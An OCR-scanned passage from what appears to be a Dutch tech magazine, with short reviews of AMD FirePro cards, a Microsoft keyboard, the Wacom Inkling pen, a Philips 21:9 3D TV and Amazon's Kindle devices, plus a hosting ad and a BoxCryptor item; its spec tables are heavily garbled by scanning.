MHz). Bovendien is het 2 GB GDDRS-geheugen 
ook een stuk hoger geklokt: 2500 MHz, 160 
GB/s. Daardoor wordt de grafische chip ook bij 
veeleisende 3D-scenes niet overbelast 

De V7900 kan met ztjn vier Display Ports tot 
vier displays tegelijkertijd aan sturen. Op de 
printplaat zit ook nog een aansluiting voor de 


extra kaart FirePro S400 die het beeldsignaal en 
de beeldopbouw tussen verschillende werk- 
stations synchroniseert. De FirePro V5900 staat 
via DL-DVI en twee DisplayPort-aansluitingen 
het gebruik van drie displays toe. Je krijgt er ook 
een CrossfirePro-bridge bij voor het koppelen 
van meerdere kaarten, evenals een DispiayPort 
to single-link actieve DVI-adapter. In de does 
van de V7900 zitten maar liefst vier van zulke 
adapters, een Crossfire-bridge en nog een slot- 
plaat met stereoscopie-aansluiting. 

De nieuwe kaarten zijn in de professionele 
benchmark SPEC Viewperf 11 sneller dan de 
goedkopere voorgangers RrePro V5800 (360 
euro) en V7800 (600 euro). Bij Ensight-04 (CEI 
En Sight S.2) is de V5900 bijvoorbeeld zo'n 74 
procent sneller, bij SNX-01 (Siemens NX 7) zoh 
41 procent. Het verschif tussen de V7800 en 
V7900 is procentueel gezien ongeveer hetzeif- 
de. Ook bij de SPEC Viewperf 10 doen de nieu¬ 
we RrePro's het beterdan hun voorgangers. 

De FirePro V5900 behaalde in de stan- 
daardinstellingen van 3DMark Vantage (Di¬ 
rectX 10) 8539 en bij 3D Mark 11 (DirectX 11) 
2130 punten, de V7900 16.553 en ... niets - de 
meting brak reproduceerbaar af bij de laatste 
30Mark 11-test (combined) door sterke grafi¬ 
sche fbuten. 

In de tessellationbenchmark Heaven 2.1 
bleek dat AMD met de recente driver 8,85.7.1 
ook aan de OpenGL 4-prestaties heeft gewerkt. 
Vergeleken met DirectX 11 Is de terugval In 
prestaties niet zo hoog als bij de 8.773-driver. 
Toch moet AMD hier nog wel wat werk verzet- 
ten, aan gezien de terugval nog steeds zo'n 20 
procent bedraagt Nvidia doet het met slechts 
een paar procent terugval een stuk beter. (jsc) 

4 Softlmk11J2035 


AMD FirePro V5900 en V7900 


Grafisdie kaarttn voor prafessfurwel getiruik 


Fabrikant 

AansluitingeuVS9W/V79D0 

SliaderunitsJMUX ROP's 

GpU'SnelheidVS900/W9m 
Geheugen (V59OD/V79D0) 
Pnj&(V5900/V7900) 


AMD, www.amd.com 
2x0ispiayPori 
h DL-DVI/4x DispiayPort 
512,32,32/1280,80,32 

600 MHz/725 MHz 

2GBGDDR5O0ODMHz/2S00MHz) 

€425/€699[conradnS) 


1 SPEC Viewperf 11 / SPEC Viewperf 10 

Grafisdietiaart 

Catia-03 

EnsigHt^H 

Lightwave-ai 


PfoEOS 

SW-02 

Tcvis-02 

Snx*01 


[fp(S] bettf k. 

[fps] bolHl. 

[fpS] UWCTfr 

[fps] btlSfb 

[fpslbcc#^ 
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[ipS.| bettf k 
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RffPmV5900 
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14,9 
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Quadra 2000 
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■ 24,7 
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Quadra 4W0 
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■154,3 
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18,9 

■ 48,0 
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iiralischelaart 

3dm^-B4 
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Eitijglit-dl 

Maya-02 

PVoEM 

SW-01 
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Ugfix-O! 


IlpsIbrtHi^ 
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■ 40,2 
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M 124,1 

■ 50,4 

■166,1 

vgl. Quiidro 2000 

76,1 

^H84,2 

■169,7 
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^■80,0 

^■157,0 

^■54,6 

■ 42,6 









vgl. Quadra 4000 

^m75,8 

■Vi 917 

■■95,9 

351,9 

■■i 92,4 

■■■184,9 

■■■77,80 

^■65,1 

gcmeiseri met Windows 7 Ultimate 64 Bit utt Intd Cofif 17*965 Ertrame Edrtioji, 3 x 2 GB OOB-1333, Gigabyte EX5S“U[M^ 



VSync uit driver; RraPra; 3J5.7.1, Quadras; 266.4 
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Kort voorgesteld | Ergonomisch toetsenbord^ Digltale stift. Thermometer 



Goivende toetsen 

De Comfort Curve 3000 van Microsoft 
is in twee rtchtingen gebogen, 
naar achteren en naar boven. Dit 
ergonomische compromis heeft 
verschillende nadelen. 



Tablet zonder tablet 


iThermometer 


Tabletspecialist Wacom brengt de 
eerste digitale pen op de markt die 
schetsen op papier in vectorformaat 
kan opslaan. Hierbij bepaalt de druk 
die je op de pen uitoefent de lljndikte. 


De hardwaremodule 
ThermoDock van 
Medisana maakt 
van je iOS-device een 
koortst her mo meter. 


De oudere Comfort Curve-toetsenbroden 
waren alleen in het platte vlak gebogen. Het 
toetsenraster maakte een boog naar achte- 
rea waarbij de toetsen ongelijkmatig in de 
breedte vervormden. Dat werkte voor de ook 
bij ons gebruikte Amerikaanse lay-out goed 
maar zorgde in veel and ere landen voor af- 
wijkende toetsea zoals de Imker-shifttoets 
op een Duitse toetsen bo rd. De Comfort Curve 
3000 probeert daarentegen de grootte van de 
toetsen zo constant mogelijk te houden en 
introduceert daarbij een welving naar boven, 
zoals de Microsoft Arc Wireless keyboard al 
eerder had 

Zonder enige verdere reden heeft Micro¬ 
soft enkele toetsen verplaatst Een dubbei- 
hoge Dekoets neemt de ruimte in besiag die 
normaal door Del en Ins samen werd gebruikt. 
De Ins-toets zit daaroTn op de plaats van de 
printtoets, die op zijn beurt rtaar de plek van 
de Pause-toets is verplaatst, die je daarom 
alleen nog met de combinatle Fn+Scroll 
kunt bereiken, De Fn-toets verdringt in deze 
stoelendans op zijn beurt de snelmenutoets, 
die je nu alleen nog met Fn-Hrechter-shlfttoets 
kunt bereiken. Succes, als je gewend bent 
blind te typen. 

Optisch maken de meer geiijkvormige 
toetsen van de Comfort Curve 3000 een 
goede indruk. In de praktijk heeft de lay-out 
echter als nadeel dat de posit!e van de toets- 
rijen ongelijkmatig ten opzichte van elkaar 
verschuift. Dit leidt in de gewenningsfase tot 
extreem veel typefouten, 

De welving in het midden wordt pas ergo¬ 
nomisch als je het toetsen bord aan de voor- 
kant wat hoger zet Ons testexemplaar bad 
aan de onderkant twee veelbelovende gleu- 
ven, maar bijpassende voetjes zaten er nlet 
bij. Desnoods kun je daar ook twee pakjes 
papieren zakdoekjes voor gebruiken. Zonder 
deze correctie leidt de bult tot een extra spier- 
spanning die voor veeitypers snel onaange- 
naam wordt. (mja) 


De digitale balpen Inkling registreert alles wat 
je op papier tekent of schrijft, inclusief de pen- 
druk (in t024 waarden). De gegevens worden 
digitaal opgeslagen in een ontvanger, waar 
vandaan ze via usb op de pc belanden. De pen 
werkt op alle mogelijke paptersoorten met een 
grootte van A7 tot A4 

De ontvangstmodule wordt met een clip 
aan de rand van het papier bevestigd en regrs- 
treert de penpositie en -druk via ultrasoon en 
infra rood. Het actieve vlak begint op een af- 
stand van 2 cm voor de ontvanger Door een 
knopje op de ontvanger in te drukken, maak je 
een extra tekenlaag aan en als je de dip opent 
start Inkling een nieuw document 

De tekeningen worden via de meegeleverde 
Sketch Manager' op de Mac of pc ingelezen. 
Daarmee kun je de tekeningen beheren en 
lagen samenvoegen, verwijderen of toevoe- 
gen. Je kunt je schetsen naar vector- en/of bit- 
mapformaat converteren of rechtstreeks door- 
sturen naar Adobe Illustrator en Photoshop of 
Autodesk Sketchbook. In het laatste geval blij- 
ven de lagen behouden. Rechtsreeks opslaan 
als EPS of PSD is he la a 5 nlet mogelijk. 

De Inkling-set inclusief korte usb-kabe! en 
reservestiften worden in een opbergdoosje 
met usb-aansluiting (Mini-B) bewaard Door 
de pen en ontvanger in dit doosje te steken, 
worden beide aan de pc opgeladen. Als je de 
ontvanger via een langere usb-kabel met de 
computer verbindt, kun je de Inkling als gra- 
fisch tablet gebruiken. In deze modus wordt 
geen pendruk geregistreerd en het actieve vlak 
krimpt dan naar A5-formaat 

Een nadeel is het feit dat je de pen tijdens 
het tekenen in een constante hoek moet vast- 
houden, anders sluiten lijnen niet meer op 
elkaar aan en moet Je achteraf In de software 
allerlei verschuivingen gaan herstellen. Het 
scannen van een handgemaakte schets werkt 
wellicht efficienter - maar dan krijg je geen 
vectorformaat dat achteraf makkelijk bewerkt 
kan worden. (jmu) 


Wanneer je de ThermoDock voor de eerste 
keer in een lOS-apparaat steekt, herkent het 
besturingssysteem (vanaf iOS 3) zelf dat je 
daar de app VltaDock' bij nodig hebt en be- 
land je automatisch op de Juiste paglna In de 
App Store. Als de gratis app eenmaal is ge- 
installeerd, start het systeem de app echter 
niet automatisch op wanneef de Thermo- 
Dock wordt aangesloten. 

De module weegt slechts 15 gram en Is 
57 X 28 X 9 mm groot. Aan de onderkant zit 
een infra rood sensor voor het meten van de 
temperatuur, Daarnaast zit een blauwe led, 
die de plaats beschijnt waar de temperatuur 
gemeten wordt. 

Voor het meten van de temperatuur bij 
mensen raadt Medisana aan de module op 
een afstand van ongeveer vijf centimeter 
van het voorhoofd te houden. Na ongeveer 
twee seconder! geeft een toon aan dat de 
meting gelukt is. Als je tijdens het meten 
de afstand verandert, kan dat het resultaat 
beVnvIoeden. Aangezien de temperatuur- 
sensor meetwaarden tussen 0 en 100 graden 
aankan, kun je met de ThermoDock ook de 
oppervlaktetemperatuur van vioeistoffen 
(bier/koffie) of patat meten. De app bewaart 
de afeonderlijke meetwaarden automatisch 
in een dagboek. Later kun je die dan laten 
weergeven in een overzichtsgrafiek. In de 
zogenaamde Live-modus rreemt hij continu 
meetwaarden op en krijg je automatisch een 
temperatuurcurve. Die kun je echter niet 
opslaan. In het dagboek kun je na iedere 
meting extra informatie over je activiteit en 
stemming invoeren voor een betere analyse 
van deresultaten, 

De ThermoDock is een behoorlijk dure 
thermometer. Bovendien is de temperatuur 
van je voorhoofd anders dan je llchaams- 
temperatuur, zodat je zelfs bij een koortsig 
gevoel onverwacht !age meetwaarden kunt 
krijgen. In zulke gevallen moet je de metin- 
gen met korte tussenpozen herhalen. (jmu) 


Comfort Curve Keyboard 3000 


Gewelfd toetseobord 

Fabrikant Micnwott, www.micrasofLn I 

Technisdi^ gegeveos folietechn iek. usb-Mn^ iuitingL afmetiTtgen: 

47 cm X 17,5 cm X 3 cm, kabellengte 1,5 m 
Piijs Q. € 20 


Wacom Inkling 


Digital^ 

Fabrikanl Wacom, www.wacQmeu 

Exporrformaten vector SVG. PDF; 

bitmap: BMP, JPEG. PNG JIFF 
Prijs €170 


ThermoDock 


Infra rood thormometemvodulo voor iOS 

Fabnkant Medisana, 

Meegeieverd Tbermomeiermodule, 
opberqetiii, handleiding 

Prifs € 80 (birnenkort in Benelux vetkrijgbaar} 
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Kort voorgesteld |Televisie 


Ulrike Kuhlmann 

Voile breedte 

Philips' ultrabrede 3D-tv Cinema 21:9 Gold 

De ultrabrede 3D-televisie 50PFL7956H heeft een 
bioscoopformaat, directe internetaansluiting en biedt 3D 
met passieve polarisatiebrillen. 



- 


D eze Philips-televisie met zijn SO' -dia- 
gonaal is niet bijzonder hoog, maar 
wel heel breed. De ongebruikelijke 
21:9-resolutie van 2560 x 1080 pixels - oftewel 
Full HD {16:9) met extra randen aan de zijkant 
- is ideaal voor de meeste biscoopfiims. Op 
een gewone flatscreen-tv worden die weerge- 
geven met zwarte randen boven en onder Bij 
Cinema 21:9 vullen ze het volledige scherm. 

Als je de tv gebruikt voor een 16:9 tv-beeld 
met zwarte randen links en rechts, komt het 
bruikbare beeldoppervlak overeen met dat 
van een 40'-scherm {1,02 m diagonaal). Als al- 
ternatief kun je het beeld ook over het totale 
schermoppervlak oprekken. Dat kan in een 
aantaf stappen volgens de origineie verhou- 
dingen met afgesneden randen of vervormd, 
waarbij men sen bijvoorbeeld brede hoofden 
krijgen. Blu-rayspelers leveren tot nu toe geen 
directe 21:9-beelden, waardoor de Cinema-tv 
steeds moel omrekenen. Dat gaat trouwens 
wel heel goed. 

Maar er zijn ook minder aangename kantea 
De tv reageert bijvoorbeeld irritant langzaam 
op de afstandsbediening. De menustrurtuur is 
vrij complex en als je naar een andere zender 
gaat, moet je lang op het beeld wachtert. 0ns 
testapparaat crashte reproduceerbaar als we 
video's uit het network of van usb-stick wilden 
afspelen. Meestal zat er dan niets anders op dan 
de aan/uitschakelaar te gebruiken. De bedie- 
ning van de usb-recording-functie Is heel ver- 
warrend en deze funaie is ook crashgevoelig. 
Met de rode knop is de tv te pauzeren, maar 
echt opnemen luktalleen via dedigitaleEPG. In 
de multiview-modus moet het tv-beeld eigen- 
lijk klein naast de intemettoepassingen weer- 
gegeven worden, maar bij de test verscheen 
daar bijvoorbeeld bij Youtube all een een regel 
met de naam van de tv-zender. 

We waren posltief verrast dat bij het aan- 
passen van het contrast van de achtergrond' 
verlichting ook echt alleen het backlight ver- 
andert, terwiji Philips voorheen daar ook de 
gammacurve bij aanpaste en daarmee dus 
ook de weergave van de grijsniveaus. Met de 
regelaar 'Held er he id' verander je zowel het wit‘ 
punt afs het zwartpunt: boven de 60 procent 
verdwijnen lichte grijswaarden en onder de 50 
procent worden donkergrijze deten zwart. 

De weergave komt al meteen met de default 
iSF-preset heel evenwichtig over, maar is net als 
in de Cinema-preset lets te warm, zoals vaak 
het geval is bij Philips. Uitgaande van de ISF- 
preset konden we met kteine kieurcorrectfes 
het witpunt heel nauwkeurig instellen {delta E 


onder vier). De RGB-punten lagen op de hoek- 
punten van de gewenste videokleurenruimte. 
Daarna gaf de televisie huidtinten uitgesproken 
natuurlijk weer. De kieurafwijking was bij ons 
testapparaat in het midden van het scherm lets 
groter dan aan de randen. Dat komt klaarblij- 
kelijk doordat het midden van het beeld sterk 
overbelicht wordt. Bovendien zijn de hoeken 
van het scherm duidelijk donkerder. 

Behalve twee tweeters heeft het apparaat 
alleen een midden/basluidspreker, die aan de 
achterkant wat meer naar rechts zit Daardoor 
is de gelu’tdsweergave uit balans. Bovendien 
wordt de klank ai bij een gemiddeld volume 
onaangenaam hard en basarm. 

Voor 3D heb je bij de Cinema 21:9 Gold 
een passieve polarisatiebril nodig zoals je die 
in veel bloscopen krijgt - heel handig. 3D- 
films kun je afspelen met een Blu-rayspeler 
of van het netwerk halen, maar niet van usb- 
opslagmedia. Ook kun je normale 2D-beelden 
omzetten naar 3D-formaat. Dat laatste werkt 
natuurlijk niet zonder beeldfouten. De 3D- 
weergave heeft zoals gebruikelijk bij de pola- 
risatietechniek geen last van flikkeringen. De 
verticale resolutie wordt gehalveerd, maar veel 
kijkers zullen dat helemaal niet merken als ze 
vanaf een bepaalde afstand zitten te kijken. Je 
mag alleen niet teveel van boven of onderaf op 
het beeld kijken, anders krijg je last van cross¬ 
talk (spookbeelden) bij de 3D-beelden. Op de 
minimale afstand van 2,50 meter heb je van- 
uit het midden van het beeld een speling van 
50 cm naar boven of beneden. Kijk je vanaf 4 
m afstand, dan kun je ongeveer 80 cm boven 
of onder het beeldcentrum gaan zitten. Als je 
binnen deze marges blijft, is de 3D-weergave 
vooral in fullscreen-modus indrukwekkend. 

Condusie 

De evenwichtige weergave van de Cinema 
12:9 Gold is overtuigend en het ultrabrede 
bioscoopformaat is indrukwekkend. Er is in- 
middels een firmware-upgrade uitgekomen, 
maar die hebben we niet meer kunnen testen, 
De specificaties van Philips doen echter niet 
vermoeden dat hiermee de gevoeligheid voor 
crashes van de chique tv bij gebruik van usb 
of het Ian opgelost zijn en ook de trage bedie- 
ning is daar waarschijniijk niet mee verholpen. 
De interne luidsprekers zijn geschikt voor het 
journaal, maar voor een filmavond zul je een 
hifiset moeten gebruiken voor het geluid 

Het omrekenen van Full HD gaat Philips 
prime af, maar de 21:9-t0levisie is toch vooral 


een aanrader voor de echte filmllefhebbers. 
Die zullen zwarte balken of boven en onder 
afgesneden randen bij normaal 16;9-tv-beeld 
voor lief nemen en kunnen in ruil daarvoor 
met het brede scherm genieten van hun lieve- 
lingsfilms op vol formaat en in 3D. (hhe) 


Cinema 21:9 Gold I 

Teievisie 

50PFL795SH 12 

Fdbrikant 

Philips 

Zichtbd^r display / diagonaal 

117,4 cm X 49,6 cm/ 


50" {1,27 m) 

Sacklfght/ ItKaldlmiTirng 

Edge-led / - 

Afmetingen met voet (b x h x d) 

12JaT]x62,5omx2S3cm 

/ gewictil 

/24 kg 

Oikte display 

3,6 cm 

Tv-tuners [soort) / tv-lngangei 

analQgekabel, DVBT, 

(aantaO 

OVB-C/2 

3D: transmitter/bril 

A _ 

V (2) 


Composite/S-Video/ 

0/0/1/Umeiadapter) 

comportenten i start (aantat) 


HDMI/VGAtaantal)/C£C 

4/1/^ 

Audio analoog-in / audio-out / 

1 xdnth,1 xjack/1 xS/ 

koptelefoon {aantai) 

PDlFMscM/lxjack 

Usb (aantalinari/wlan 


Streamlrrg[DLMAWan audio/ 

^ /^ 

foto’s/video 


Map layer {usb) vcmr audio / 


bto's / video 


Internet / gratis browser / HbbTV 

■X Z'/ / 

HD-ontvangst/£l-Plus-s1ot 

Dve-c/y 

TV-ftiiiCtioi 

ZenderHjst/favorleteili|st 


fa+d corTtbineerbaar} 


fenders verptaatsen / verwisselen 


Metingen 

Sdiakeltijd tv digitaal / analoog 

3s/2,55 

Helderbeldsbereik / beliobtEng 

17^397 cd/mW 85% 

Contrast minimale kljkhoek / pmc, 

771:1/40,9% 

afwijking 


Contrast maximale kljkhoek / prac. 

452:1 7323% 

afwijklng 


Verbruik uit / stand-by / gebruik 

0,1W/0,1W/106W 

(bij belderheid) 

(260cc[/m^) 

AantesEuitenop pc analoog/ 

^ /^ 

digitaal 


fieoord^ling 

Beeld ty, video 


Geluid 

0 

Uitrusting/mediafuncties 

0© 

30-weergave 

m 

Bediening 

© 

Prijs 

Advies/straatprijs 

€2000 

leergoed ® goed O voldoende © slechi 

©©^eerslecbt ^ aanwezig 

- Eiietaanwezig 
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Kort voorgesteld {Tablets,e-readers 


Achim Barczok, Christian Wolbert 

Goedkope mediaplayers 


Amazon presenteert drie e-readers en een tablet 

Met een goedkope tablet, een lOO-euro-reader en twee touch-readers heeft 
Amazon een manier gevonden om klanten nog sneller toegang te bteden tot 
het online winkelaanbod. 


A He Amazon-diensten hereikbaar via een 
apparaat - dat was in een zin de bood- 
schap van JefT Bezos, oprichter en CEO 
van Amazon, bij de presentatie van Amazons 
eerste multimediatablet De Kindle Fire, die 
in de VS in november voor slechts 199 dollar 
op de markt wordt gebracht, is een geduchte 
tegenstander van Apples ruim tweemaal duur- 
dere IPad, Toch is de handzame 7‘fnch tablet 
een compleet ander apparaat De Fire is voile- 
dig toegespitst op het kopen, huren en strea- 
men van muziek, films en boeken bij Amazon, 
In de VS biedt het bedrijf een enorme hoe- 
veelheid content zoals muziek, videostreams, 
e-books, apps en tijdschriften (zie kader), 

Maar naast de Rre is er nog steeds ruimte 
voor e-readers met een makkelijk te lezen en 
energiezuinig zwart-wit display, waarvan Jeff 
Bezos maar liefst drie nieu\Are modellen p resen- 
teerde. Amazon laat bij a He e-readers het me- 
chanisch toetsenbord achterwege en gaat met 
de prijs flink omiaag: de n leu we instap-Kindle 


is in de VS al verkrijgbaar voor 80 dollar. Aan- 
gezien er voor de Benelux echter geen a parte 
Amazon store is, moeten wij het doen met de 
Engelse en de Duitse store, waar deze Kindle 
voor 100 euro te koop is. 

Amazon-tablet 

De Rre heeft een krasbestendig 7-inch IPS-kleu- 
rendssplay met capacitieve multitouch en 1024 
X 600 pixels (16:9), Hetgewicht is 415 gram. Het 
design doet door het sobere zwarte frame en 
dito achterkant denken aan de Blackberry Play- 
book, de 7"-tablet die RIM enkele maanden ge- 
leden uitbracht, Beide worden geproduceerd 
door de Taiwanese fabrikant Quanta, De Kindle 
Fire heeft net als de Pfaybook een OMAP4 
dualcore-processor, die volgens de gegevens 
ook utt de voeten moet kunnen met high-res 
video's en zware apps, Amazon heeft a lies wat 
voor het consumeren van de eigen content niet 
absoluut noodzakelijk is echter weggelatea 


Het geheugen van de tablet bedraagt slechts 
8 GB, hi] heeft geen camera, geen microfoon 
en geen BG-module, Hij kan via wlan (802,11 n) 
verbinding maken met het netwerk, Een SD- 
slot is afwezig, dus of en hoe je content van an- 
dere aanbieders op de tablet kunt zetten, is nog 
nietbekend, 

De Fire draait op een aangepaste versie van 
Android ^ al is het Google-besturingssysteem 
nauwelijks te herkennen. Met veegbewegin- 
gen over de zwarte gebruikersinterface na- 
vigeer je door apps en media, Toegang tot 
Googles app-shop Android Market ontbreekt, 
evenals de Google^apps voor e-mail, agenda 
en Maps. Je hebt a I lee n toegang tot de Amazon 
AppStore, die ook beschikbaar is voor andere 
Android-apparaten. Die is echter lang niet zo 
goed gevuld als de Google Store, In Europa is 
hij nog niet officieel van start gegaan. Het is on- 
duidelijk of je apps op de Android-manier kunt 
installeren of op andere manieren zoals vanuit 
de cloud of e-mail 

De browser op de Fire heet Amazon Silk. 
Deze is door Amazon ontwikkeld op basis van 
de opensource browserengine WebKit. Het bij- 
zondere aan de browser is dat hij is opgesplitst 
in een front-end (op de tablet) en een back-end 
(in de cloud). Deze bevatten allebei dezeifde 
subsystemen. Silk maakt bij elke webpagina 
dan de keuze of een webpagina direct op de 



Eigenlijk is de Kindle Fire meer een media- 
speler voor het digitale multimedia-a an bod 
van Amazon dan een volwaardige tablet. 



In de VS worden voor de Fire films, magazines en Android-apps aangeboden. 


Amazons multimedia-aanbod 

Amazon verkoopt al jaren digitale content I 
en biedt bij de marktintroductie van de i 
Kindle Fire al een behoorlijk breed spec- I 
trum aan multimedia - maar alleen in de * 
VS, Daar krijgen Amazon-klanten toegang | 
tot een goed gevulde mp3-download- i 
shop met ruim 17 miljoen nummers, 5 GB i 
serverruimte voor muziek, ruim 100.000 1 

films en tv-series als streams (waarvan > 
overigens maar 15 procent in HO), een > 
eigen store voor Android-apps en in de 1 
Kindle-store e-books, kranten en tijd- ^ 
schriften. : 


Bovendien he b ben veel men sen ooit al eens 
met hun creditcardnummer bij Amazon tn- 
kopen gedaan, waardoor ze nu zonder om- 
slachtige aan meld procedure kunnen shop- 
pen, Amazon installeert het account van de 
tabletkoper namelijk meteen op het appa¬ 
raat, Ook doet Amazon wat de infrastruc- 
tuur voor clouddiensten betreft niet onder 
voor Apple en Google, De onlineshop gaat 
vergeleken met producenten als Samsung, 
Toshiba en Acer precies in omgekeerde 
volgorde te werk: eerst het ecosysteem op- 
zetten en dan pas de hardware uitbrengen. 
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De Kind I e-reader zorrder toetsenbord 
en touchscreen kost slechts 100 euro. 

tablet wordt gerenderd of door de Amazon 
EC2-servers. Het renderen van complexe web- 
pagina's op de servers en het opsturen van 
het resultaat naar de tablet zou sneller moeten 
gaan dan volledig renderen op de tablet zelf. 
Optfoneel kan deze techniek ook worden uit- 
geschakeld. 

De bij de Kindle geintroduceerde synchro- 
nisatietechniek Whispersync wordt ook op de 
Fire gebruikt. De laatst gelezen pagina in een 
boek wordt met het network gesynchroniseerd, 
zodatje naadloos kuntoverschakelen naar een 
ander Kindle-apparaat of Kindle-app en daar 
kunt doortezen waar je gebleven was. Op de 


Fire is Whispersync nu uitgebreid voor films en 
tv-shows. Media die je van de Fire verwijdert, 
blijft bewaard in de cloud zodat je die later 
weer naarde tablet kunt downloaden. 

In de VS moet de Fire vanaf 15 november 
verkrijgbaar zijn en een maandlang gratis 
toegang tot Amazon Prime bieden. Dit is een 
dienst voor videostreamrng en het grabs ver- 
sturen van alle Amazon-producten en kost 80 
dollar per jaar. 

Hoe go^ met name kranten en tijdschiiften 
op een 7'-16:9^di$play uit de verf komen, moet 
nog blijken - het display zal in efk geval te klein 
zijn voor een A4-paglna die zonder verdere 
aanpassingen gewoon wordt verkleind. Overi- 
gens zou Amazon volgens elektronicaspecialist 
iSuppli de Fire onder de kostprijs verkopen. De 
productiekosten zijn berekend op 209 dol¬ 
lar, terwiji de verkoopprljs 199 dollar zal zijn. 
Amazon neemt het kleine verlies voor lief in de 
hoop dat terug te winnen met de verkoop van 
media. 

E-reader vanaf 100 euro 

De Kindle Touch en de Kindle Touch 3G kun- 
nen met multitouch gestures worden bed lend. 
Daarom zijn ze met 17 cm x 12 cm x 1 cm en 
220 gram een stuk kleiner en lichter dan de 
drie eerste Kindle-generatres. 2e hebben 4 GB 
geheugen en net als de voorgaande modellen 
geen SD-slot Voor het intypen van zoektermen 
en notities verschijnt er een viitueel toetsen- 
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bofd. De fiinctie 'X-Ray' laat voor gemarkeerde 
passages urt een boek contextgerelateerde 
informatie van internet zien, De model len zijn 
vooriopig alleen in de VS verkrijgbaar en moe¬ 
ten 140 (wifi) en 190 dollar (wifi-K3G) kosten. 
Een gesponsorde versie waarbij in de stand-by- 
modus reclame wordt getoond ('special offers') 
kost 40 dollar minder. 

Het derde model, de instap-Kindle heeft 
geen touchscreen en wordt in plaats daarvan 
met een navigatiebutton onder het display en 
scrolltoetsen aan de zijkant bediend Hij maakt 
alleen via wifi verbinding met internet, heeft 2 
GB geheugen, weegt 170 gram en is nog lets 
kieiner In de VS kost hij 109 dollar (79 dollar 
met advertenttepop-ups). Bij Amazon UK en 
Amazon Du its land is hij op 12 oktober versche- 
nen voor 99 euro. Een door reclame gespon¬ 
sorde versie staat hier nog niet op de planning. 
Amazon.de en Amazon.co.uk bieden ook nog 
steeds de voiige Kindle-generatie te koop aan, 
die nu Kindle Keyboard heet De prijzen hler- 
voor zijn verlaagd naar 119 euro {£80) voor de 
wifi- en 159 euro (£149) voor de wifi/3G-versie. 

De 7-inch Amazon Fire zal volgens informa¬ 
tie van Amazon UK aan ZDNet UK niet naar 
Europa komen. Dit zou te maken hebben met 
het feit dat de doudgebaseerde Silk brow¬ 
ser in strijd zou zijn met de Eyropese privacy- 
wet geving. Hetzelfde zou gel den voor de 
Kindle Touch. Mlsschien dat dit niet gaat gel- 
den voor de nog uit te brengen Fire met een 
10"-display. (jmu) 


Pauline Middelink, Leon Pierik 

Managed Servers 


Internet 
Access 
Facilities 

Internet Access Facilities levert kwalitatief hoog- 
waardige Internet diensten aan vele klanten in het 
binnen- en buitenland. 

Wat kunnen wij voor 0 betekenen? 

Eigen inbelvoorzieningen 
ADSL verbindingen 
Vaste verbindingen 
Domeinregistraties 
Tweekanaals ISDN 
Eigen server 
Webhosting 
Co-locatie 


Wegens overcompleet t.k.a. 

7RittaM9"racks 

z.g.a.n.t.e.a.b. 

Meer info: www.iaf.ni 

V—-----1, — - ____ 



Er zijn diverse redenen waarom u 
voor oen dedicated server kunt 
kiezen. Een mogelijkheid is dat u 
een zware appiicatie wil draaien 
die te belastend is voor een 
gedeelde Webserver. Een and ere 
reden kan zijn dat u vanwege de 
hoeveelheid gebruikers bljzonder 
veei schijfruimte, geheugen en 
processorkracht nodig heeft. 

Veel mensen kiezen hier toch niet 
voor omdat bij een dedicated 
server ook de kennis hoort om 
deze goed in te rlchten en de 
verantwoordelijkheld om deze 
vellig te onderhouden, 

Heeft u de flexibilitelt nodig van 
een dedicated server, maar 
ontbreekt het u aan de juiste 
kennis of tijd om deze zelf te 
onderhouden? Dan hebben wi] nu 
de opiossing; Managed Servers. 

Naast het reguliere onderhoud 
zoais het bijhouden van 
OS-updates bieden wij ook de 
mogelijkheid om andere aspecten 
van uw server door ons te laten 
beheren. U kunt hierbi] denken 
aan het toevoegen van mall boxen 
en virtuele hosts, maar ook het 
installeren van software. 


Als u er toch van overtuigd bent 
dat u het een en ander best zeif 
kunt doen, kunnen wij u 
tegenwoordig op zo'n machine 
ook een webinterface aanbieden 
waarmee u zelf eenvoudig 
wijzigingen kunt uitvoeren in de 
vorm van DirectAdmin. Dit pakket 
maakt het mogelijk om zonder 
veel vcxjrkennis allerlei zaken op 
uw machine te beheren, 
waaronder mailboxen en web¬ 
sites. Hierdoor heeft u voor veel 
dingen zelf de touwtjes in 
handen, terwiji wij de meer 
fngewikkelde zaken voor u 
kunnen afhandelen. 

Als kleine, professionele full- 
service Internet provider heeft lAF 
ruim 15 jaar ervaring met het 
bouwen van internet gerelateerde 
oplossingen. Onze expertise ligt 
dan ook in het meedenken met 
de klant en het maken van 
technisch doordachte maatwerk- 
oplossingen. 

- Ad vertentie - 


Informatie: 

tnternet Access Facilities BV 
Postbus 341 
7500 AH Enschede 


Tel. 053 428 58 11 

Fax: 053 428 5819 

E-mail: info(@laf.nl 
WWW: http://vvww.iaf.nl/ 


Inl&mel voor partiCiflier en MKB si rids 1992. 

Deelnemer SIDN^ NBIP Ingeschreven bij de OPTA, CBP en KvK 
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Sleutelkist 

Met BoxCryptor kun je transparante 
versleutefing toevoegen aan Dropbox, 
zodat je er ook vertrouwelijke 
gegevens met een gerust hart kunt 
stallen. 

Vertrouwelijke data zou je bij online opslag- 
service Dropbox eigenlijk alleen versleuteld 
moeten opslaan. Met TrueCrypt of AxCrypt 
is het nog best lastig. Met BoxCryptor kun je 
onder Windows een Dropbox-dfreaory trans- 
pa rant als drive mounten, waarna bestanden 
die je er in opslaat automatisch worden ver¬ 
sleuteld. Bij het lezen worden bestanden auto¬ 
matisch door de driver ontsleuteld. De tool 
legt bij de installatie zelf een map aan waarin 
je gegevens kunt opslaan die versleuteld moe¬ 
ten worden. Alleen de bestanden en bestands- 
namen in de map worden versleuteld. Bestaam 
de mappen in Dropbox bfijven onaangetast 
“ je loopt dus niet het risico dat reeds gedeelde 
mappen ineens niet meer toegankelijk zijn. 

Als je de Dropbox-client geVnstalleerd hebt 
en een Dropbox-account hebt, maakt BoxCryp¬ 
tor daar automatisch verbinding mee De tool 
is gebaseerd op het opensource Encryption File 
System (EncFS), dat als veilig te boek staat. Als 
versleuteling gebruikt BoxCryptor standaard 
AES met een 2S6-bit sleutel, die wordt bevei- 
ligd met een wachtwoord* BoxCryptor kan dat 
wachtwoord opslaan, zodat je na het booten 
gelijk aan de slag kunt 

Met de gratis versie kun je maximaal 2 6B 
aan data versleuteld opslaan. Heb Je meer 
nodig, dan moet je de 'Unlimited Personar-ver- 
sle kopen voor 15 euro. Voor Android is er een 
alpha versie, maar die werkt nog niet transpa- 
rant en ondersteunt op dit moment alleen lees- 
toegang. Op de blog van producent Acornba 
kun je lezen hoe je de map met versleutelde 
bestanden onder Ubuntu en Mac OS X met 
EncFS kunt mounten, BoxCryptor voegt op een 
